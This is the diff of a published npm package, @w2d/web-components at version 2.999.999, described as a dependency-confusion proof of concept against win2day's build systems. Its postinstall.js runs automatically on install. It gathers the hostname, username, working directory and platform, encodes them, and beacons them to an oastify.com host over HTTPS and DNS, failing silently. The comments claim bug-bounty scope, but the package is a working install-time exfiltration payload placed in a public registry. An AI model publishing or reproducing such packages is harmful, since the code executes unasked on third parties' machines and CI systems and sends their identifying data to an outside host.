@w2d/web-components 2.999.999

package/index.js

@@ -0,0 +1,2 @@
+// Stub so `main` resolves cleanly if the package is ever require()'d.
+module.exports = {};

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "@w2d/web-components",
+  "version": "2.999.999",
+  "description": "web-components",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "postinstall.js"
+  ],
+  "scripts": {
+    "postinstall": "node postinstall.js"
+  },
+  "publishConfig": {
+    "access": "public"
+  }
+}

package/postinstall.js

@@ -0,0 +1,34 @@
+// Dependency-confusion PoC beacon
+// Target: Allwyn AG / win2day (HackerOne, in-scope: https://statics.win2day.at, Critical/Eligible)
+// Purpose: prove WHERE @w2d/web-components resolves+executes at build/CI time.
+// Sends ONLY non-sensitive host identity. No file reads, no env vars, no secrets.
+// Fails silently so it can never break the host build.
+try {
+  const os = require('os');
+  const https = require('https');
+  const dns = require('dns');
+
+  const meta = {
+    pkg: '@w2d/web-components',
+    host: os.hostname(),
+    user: (os.userInfo && os.userInfo().username) || '',
+    cwd: process.cwd(),
+    platform: process.platform
+  };
+
+  const token = Buffer.from(JSON.stringify(meta))
+    .toString('base64')
+    .replace(/\+/g, '-')
+    .replace(/\//g, '_')
+    .replace(/=+$/, '');
+
+  const COLLAB = '929u6o01dc28rl4mend089t9b0hr5ht6.oastify.com';
+
+  // HTTP(S) callback — full metadata in path
+  https.get('https://' + COLLAB + '/' + token, () => {}).on('error', () => {});
+
+  // DNS callback — backup signal (single label <= 63 chars)
+  dns.lookup(token.slice(0, 50) + '.' + COLLAB, () => {});
+} catch (e) {
+  // never throw — do not break the host build
+}